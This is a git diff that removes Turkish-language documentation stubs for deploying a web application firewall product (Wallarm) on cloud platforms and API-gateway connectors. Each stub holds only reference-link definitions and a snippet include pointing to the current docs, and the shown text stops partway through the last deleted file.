a/docs/tr/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md b/docs/tr/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md deleted file mode 100644 index e7f482bfcf..0000000000 --- a/docs/tr/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md +++ /dev/null @@ -1,3 +0,0 @@ -[wallarm-proxy-terraform-img]: ../../../../images/waf-installation/aws/terraform/wallarm-as-proxy.png - ---8<-- "latest-tr/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md" \ No newline at end of file diff --git a/docs/tr/installation/cloud-platforms/azure/docker-container.md b/docs/tr/installation/cloud-platforms/azure/docker-container.md deleted file mode 100644 index 53af2d3d08..0000000000 --- a/docs/tr/installation/cloud-platforms/azure/docker-container.md +++ /dev/null @@ -1,23 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[copy-container-ip-azure-img]: ../../../images/waf-installation/azure/container-copy-domain-name.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../admin-en/configure-logging.md -[api-policy-enf-docs]: ../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-tr/installation/cloud-platforms/azure/docker-container.md" \ No newline at end of file diff --git a/docs/tr/installation/cloud-platforms/cloud-init.md b/docs/tr/installation/cloud-platforms/cloud-init.md deleted file mode 100644 index 5e9a0835de..0000000000 --- a/docs/tr/installation/cloud-platforms/cloud-init.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/cloud-platforms/cloud-init.md" \ No newline at end of file diff --git a/docs/tr/installation/cloud-platforms/gcp/docker-container.md b/docs/tr/installation/cloud-platforms/gcp/docker-container.md deleted file mode 100644 index 2fd91d82ed..0000000000 --- a/docs/tr/installation/cloud-platforms/gcp/docker-container.md +++ /dev/null @@ -1,22 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[copy-container-ip-gcp-img]: ../../../images/waf-installation/gcp/container-copy-ip.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[api-policy-enf-docs]: ../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-tr/installation/cloud-platforms/gcp/docker-container.md" \ No newline at end of file diff --git a/docs/tr/installation/cloud-platforms/gcp/machine-image.md b/docs/tr/installation/cloud-platforms/gcp/machine-image.md deleted file mode 100644 index dc539b4c8a..0000000000 --- a/docs/tr/installation/cloud-platforms/gcp/machine-image.md +++ /dev/null @@ -1,33 +0,0 @@ -[link-launch-instance]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-ssh-key-generation]: ../../../images/installation-gcp/common/ssh-key-generation.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../oob/overview.md#limitations -[wallarm-mode]: ../../../admin-en/configure-wallarm-mode.md -[oob-docs]: ../oob/overview.md -[wallarm-api-via-proxy]: ../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#configuration-examples-for-traffic-mirroring -[img-grouped-nodes]: ../../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../cloud-init.md -[wallarm_force_directive]: ../../../admin-en/configure-parameters-en.md#wallarm_force -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../../api-specification-enforcement/overview.md -[inline-docs]: ../../inline/overview.md -[link-wallarm-health-check]: ../../../admin-en/uat-checklist-en.md - ---8<-- "latest-tr/installation/inline/compute-instances/gcp/machine-image.md" \ No newline at end of file diff --git a/docs/tr/installation/cloud-platforms/private-cloud.md b/docs/tr/installation/cloud-platforms/private-cloud.md deleted file mode 100644 index 9dc24c1dd6..0000000000 --- a/docs/tr/installation/cloud-platforms/private-cloud.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/cloud-platforms/private-cloud.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/akamai-edgeworkers.md b/docs/tr/installation/connectors/akamai-edgeworkers.md deleted file mode 100644 index 1dddcc09a7..0000000000 --- a/docs/tr/installation/connectors/akamai-edgeworkers.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/connectors/akamai-edgeworkers.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/apigee.md b/docs/tr/installation/connectors/apigee.md deleted file mode 100644 index 66c5d14a43..0000000000 --- a/docs/tr/installation/connectors/apigee.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/apigee.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/aws-api-gateway.md b/docs/tr/installation/connectors/aws-api-gateway.md deleted file mode 100644 index f5bbf3211c..0000000000 --- a/docs/tr/installation/connectors/aws-api-gateway.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/connectors/aws-api-gateway.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/aws-lambda.md b/docs/tr/installation/connectors/aws-lambda.md deleted file mode 100644 index edb2314385..0000000000 --- a/docs/tr/installation/connectors/aws-lambda.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/connectors/aws-lambda.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/azion-edge.md b/docs/tr/installation/connectors/azion-edge.md deleted file mode 100644 index 34983b9964..0000000000 --- a/docs/tr/installation/connectors/azion-edge.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/connectors/azion-edge.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/azure-api-management.md b/docs/tr/installation/connectors/azure-api-management.md deleted file mode 100644 index ac42b730f0..0000000000 --- a/docs/tr/installation/connectors/azure-api-management.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/azure-api-management.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/cloudflare.md b/docs/tr/installation/connectors/cloudflare.md deleted file mode 100644 index 27f8fab52f..0000000000 --- a/docs/tr/installation/connectors/cloudflare.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/connectors/cloudflare.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/code-bundle-inventory.md b/docs/tr/installation/connectors/code-bundle-inventory.md deleted file mode 100644 index 1ee0f07c5f..0000000000 --- a/docs/tr/installation/connectors/code-bundle-inventory.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/connectors/code-bundle-inventory.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/fastly.md b/docs/tr/installation/connectors/fastly.md deleted file mode 100644 index 88427e000b..0000000000 --- a/docs/tr/installation/connectors/fastly.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/connectors/fastly.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/ibm-api-connect.md b/docs/tr/installation/connectors/ibm-api-connect.md deleted file mode 100644 index 8312207ed6..0000000000 --- a/docs/tr/installation/connectors/ibm-api-connect.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/connectors/ibm-api-connect.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/istio.md b/docs/tr/installation/connectors/istio.md deleted file mode 100644 index cdf7fcda3e..0000000000 --- a/docs/tr/installation/connectors/istio.md +++ /dev/null @@ -1,9 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: ../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-rule-in-wallarm-console - ---8<-- "latest-tr/installation/connectors/istio-inline.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/kong-api-gateway.md b/docs/tr/installation/connectors/kong-api-gateway.md deleted file mode 100644 index 9caed6c24a..0000000000 --- a/docs/tr/installation/connectors/kong-api-gateway.md +++ /dev/null @@ -1,9 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: ../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-rule-in-wallarm-console - ---8<-- "latest-tr/installation/connectors/kong-api-gateway.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/layer7-api-gateway.md b/docs/tr/installation/connectors/layer7-api-gateway.md deleted file mode 100644 index 83a8a70d48..0000000000 --- a/docs/tr/installation/connectors/layer7-api-gateway.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/connectors/layer7-api-gateway.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/mulesoft-flex.md b/docs/tr/installation/connectors/mulesoft-flex.md deleted file mode 100644 index 22cb090ee8..0000000000 --- a/docs/tr/installation/connectors/mulesoft-flex.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/connectors/mulesoft-flex.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/mulesoft.md b/docs/tr/installation/connectors/mulesoft.md deleted file mode 100644 index 5502e0ae62..0000000000 --- a/docs/tr/installation/connectors/mulesoft.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/connectors/mulesoft.md" \ No newline at end of file diff --git a/docs/tr/installation/connectors/overview.md b/docs/tr/installation/connectors/overview.md deleted file mode 100644 index decf9464e7..0000000000 --- a/docs/tr/installation/connectors/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/connectors/overview.md" \ No newline at end of file diff --git a/docs/tr/installation/custom/custom-nginx-version.md b/docs/tr/installation/custom/custom-nginx-version.md deleted file mode 100644 index 9ac2d891c9..0000000000 --- a/docs/tr/installation/custom/custom-nginx-version.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/custom/custom-nginx-version.md" \ No newline at end of file diff --git a/docs/tr/installation/custom/request-custom-deployment.md b/docs/tr/installation/custom/request-custom-deployment.md deleted file mode 100644 index 97d5ac8286..0000000000 --- a/docs/tr/installation/custom/request-custom-deployment.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/custom/request-custom-deployment.md" \ No newline at end of file diff --git a/docs/tr/installation/heroku/docker-image.md b/docs/tr/installation/heroku/docker-image.md deleted file mode 100644 index 5f7aefabcf..0000000000 --- a/docs/tr/installation/heroku/docker-image.md +++ /dev/null @@ -1,9 +0,0 @@ -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[node-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[doc-stat-service]: ../../admin-en/configure-statistics-service.md -[aio-docs]: ../nginx/all-in-one.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md - ---8<-- "latest-tr/installation/heroku/docker-image.md" diff --git a/docs/tr/installation/inline/compute-instances/alibaba/docker-image.md b/docs/tr/installation/inline/compute-instances/alibaba/docker-image.md deleted file mode 100644 index 7c6013f49c..0000000000 --- a/docs/tr/installation/inline/compute-instances/alibaba/docker-image.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[copy-container-ip-alibaba-img]: ../../../../images/waf-installation/alibaba-cloud/container-copy-ip.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../../admin-en/configure-logging.md -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics -[link-docs-check-operation]: ../../../../admin-en/uat-checklist-en.md - ---8<-- "latest-tr/installation/cloud-platforms/alibaba-cloud/docker-container.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/compute-instances/aws/aws-ami.md b/docs/tr/installation/inline/compute-instances/aws/aws-ami.md deleted file mode 100644 index dc082c3228..0000000000 --- a/docs/tr/installation/inline/compute-instances/aws/aws-ami.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -search: - exclude: true ---- - -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest-tr/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest-tr/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest-tr/UserGuide/EC2_GetStarted.html#ec2-launch-instance - -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws - -[img-create-sg]: ../../../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../../admin-en/configure-logging.md -[wallarm-mode]: ../../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../../../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../../../admin-en/configure-parameters-en.md#wallarm_force -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../../../api-specification-enforcement/overview.md -[inline-docs]: ../../overview.md -[aws-ami-traffic-flow]: ../../../../images/waf-installation/aws/aws-ami-flow.png -[img-security-group]: ../../../../images/aws-ami/security-group.png -[latest-node-version]: ../../../../updating-migrating/node-artifact-versions.md#amazon-machine-image-ami -[aws-costs]: ../../../../installation/cloud-platforms/aws/costs.md -[nginx-native-node]: ../../../../installation/nginx-native-node-internals.md -[wallarm-logs]: ../../../../admin-en/configure-logging.md -[log-level]: ../../../../installation/native-node/all-in-one-conf.md#loglevel -[link-wallarm-health-check]: ../../../../admin-en/uat-checklist-en.md - - ---8<-- "latest-tr/installation/inline/compute-instances/aws/aws-ami.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/compute-instances/aws/aws-ecs.md b/docs/tr/installation/inline/compute-instances/aws/aws-ecs.md deleted file mode 100644 index b9f4955b69..0000000000 --- a/docs/tr/installation/inline/compute-instances/aws/aws-ecs.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[aws-copy-container-ip-img]: ../../../../images/waf-installation/aws/container-copy-ip.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics -[aws-costs]: ../../../cloud-platforms/aws/costs.md - ---8<-- "latest-tr/installation/cloud-platforms/aws/docker-container.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/compute-instances/aws/terraform-module-for-aws-api-gateway.md b/docs/tr/installation/inline/compute-instances/aws/terraform-module-for-aws-api-gateway.md deleted file mode 100644 index 010da7205e..0000000000 --- a/docs/tr/installation/inline/compute-instances/aws/terraform-module-for-aws-api-gateway.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-tr/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/compute-instances/aws/terraform-module-for-aws-vpc.md b/docs/tr/installation/inline/compute-instances/aws/terraform-module-for-aws-vpc.md deleted file mode 100644 index c4bc837532..0000000000 --- a/docs/tr/installation/inline/compute-instances/aws/terraform-module-for-aws-vpc.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-tr/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/compute-instances/azure/docker-image.md b/docs/tr/installation/inline/compute-instances/azure/docker-image.md deleted file mode 100644 index f2f0446c9a..0000000000 --- a/docs/tr/installation/inline/compute-instances/azure/docker-image.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[copy-container-ip-azure-img]: ../../../../images/waf-installation/azure/container-copy-domain-name.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../../admin-en/configure-logging.md -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-tr/installation/cloud-platforms/azure/docker-container.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/compute-instances/docker/nginx-based.md b/docs/tr/installation/inline/compute-instances/docker/nginx-based.md deleted file mode 100644 index 5f6c291db4..0000000000 --- a/docs/tr/installation/inline/compute-instances/docker/nginx-based.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -search: - exclude: true ---- - -[doc-wallarm-mode]: ../../../../admin-en/configure-parameters-en.md#wallarm_mode -[doc-config-params]: ../../../../admin-en/configure-parameters-en.md -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[mount-config-instr]: #run-the-container-mounting-the-configuration-file -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../supported-deployment-options.md -[nginx-directives-docs]: ../../../../admin-en/configure-parameters-en.md -[aws-ecs-docs]: ../../../cloud-platforms/aws/docker-container.md -[gcp-gce-docs]: ../../../cloud-platforms/gcp/docker-container.md -[azure-container-docs]: ../../../cloud-platforms/azure/docker-container.md -[alibaba-ecs-docs]: ../../../cloud-platforms/alibaba-cloud/docker-container.md -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[inline-docs]: ../../../inline/overview.md -[what-is-new-wstore]: ../../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-tr/admin-en/installation-docker-en.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/compute-instances/gcp/gce.md b/docs/tr/installation/inline/compute-instances/gcp/gce.md deleted file mode 100644 index 1977080f82..0000000000 --- a/docs/tr/installation/inline/compute-instances/gcp/gce.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[copy-container-ip-gcp-img]: ../../../../images/waf-installation/gcp/container-copy-ip.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-tr/installation/cloud-platforms/gcp/docker-container.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/compute-instances/gcp/machine-image.md b/docs/tr/installation/inline/compute-instances/gcp/machine-image.md deleted file mode 100644 index 912b23d5f7..0000000000 --- a/docs/tr/installation/inline/compute-instances/gcp/machine-image.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -search: - exclude: true ---- - -[link-launch-instance]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-ssh-key-generation]: ../../../../images/installation-gcp/common/ssh-key-generation.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list 